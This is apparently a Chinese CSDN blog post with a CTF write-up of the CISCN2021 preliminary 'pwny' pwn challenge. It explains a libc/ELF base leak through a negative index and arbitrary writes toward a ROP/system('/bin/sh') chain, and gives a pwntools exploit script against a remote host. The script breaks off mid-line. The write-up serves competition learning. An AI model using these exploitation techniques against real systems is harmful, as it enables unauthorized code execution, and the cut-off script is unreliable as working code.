【CTF题解NO.00009】CISCN2021-初赛-pwn write up by arttnba3

这篇博客分享了作者参加CISCN2021初赛的PWN题解经验,涉及pwny、lonelywolf和channel三个题目。pwny利用负数补码读取libc和elf基址,通过ROP构造环境变量。lonelywolf通过编辑移除key绕过double free检测。channel由于aarch64的qemu问题未深入,而silverwolf使用syscall绕过seccomp。
摘要由CSDN通过智能技术生成

GITHUB BLOG ADDR

0x00.绪论

国赛初赛划水,原本今年想摸了的(毕竟协会历来人丁稀少,能组出两个队去打就不错了,👴也没必要再勉强整第三个队,反正最后进去的就两个队,现在也不保研了,那就摸了算了),后面想想还是简单去康康今年360会不会像去年ylb那样拉跨,于是又抱上了囧姐姐和茜茜以及jchen三位带师傅的大腿组了一个摸🐟小队,结果比赛当天不知道为什么总之就是只有👴出了三道pwn,整到后面👴也没心思做了,再加上冲刺卷最后一题是LLVM,👴冲个🐓⑧,摸了,反正👴这队也不是主力队

以下 write up 主要摘自比赛当天队内的协作文档,以及👴感觉pwn好没用啊,还不如早点转web算了

0x01.场景实操 开场卷

pwny | Done

一跑起来就 SIGSEGV,给👴整不会了,啥情况啊(暂时还没看IDA)

两个功能 read 和 write,但是 read 会直接 SIGSEGV ?

原来从 /dev/urandom 随机数发生器里读,read 好像读的事下标,那读歪了自然就直接 segmentation fault 了,但是👴好像妹法输入啊

read和 write 的 fd 都在 bss 上,write 改下标 256 两次就能把 fd 改成0

int64,那就整个负数补码让read往前读到 stdout,泄露 libc

再往前还能读到 elf 加载基址,这事ao的

可以任意地址写了,怎么写?写多少?👴一问三不知

environ在栈上构造ROP,但是总之就是很玄学一直没法通,后面莫名其妙又通了…

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p_name = './pwny'
p = remote('124.71.239.124', 21662)#process(p_name)#
e = ELF(p_name)
libc = ELF('./libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]
#CISCN{NulFy-zU4JD-NolhS-M0ah5-Df8W5-}

def cmd(command:int):
    p.recvuntil(b"Your choice:")
    p.sendline(str(command).encode())

def read(index):
    cmd(1)
    p.recvuntil(b"Index:")
    p.send(index)
    p.recvuntil(b'Result: ')

def write(index:int, content):
    cmd(2)
    p.recvuntil(b"Index:")
    p.sendline(str(index).encode())
    if content != None:
        p.send(content)

def exp():
    write(256, None)
    write(256, None)
    read(b'\xf8\xff\xff\xff\xff\xff\xff\xff')
    stdout_leak = int(b'0x' + p.recvuntil(b'\n', drop = True), 16)
    libc_base = stdout_leak - libc.sym['_IO_2_1_stdout_']
    log.success('libc base: ' + hex(libc_base))
    read(b'\xf5\xff\xff\xff\xff\xff\xff\xff')
    elf_leak = int(b'0x' + p.recvuntil(b'\n', drop = True), 16)
    elf_base = elf_leak - 0x202008
    log.success('elf base: ' + hex(elf_base))
    write((libc_base - (elf_base + 0x202060) + libc.sym['_IO_2_1_stderr_'])//8, b'/bin/sh\x00')
    write((libc_base - (elf_base + 0x202060) + libc.sym['_IO_2_1_stderr_'] + 0x28)//8, p64(libc_base + libc.sym['system']))
    read(p64((libc_base - (elf_base + 0x202060) + libc.sym['__environ'])
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值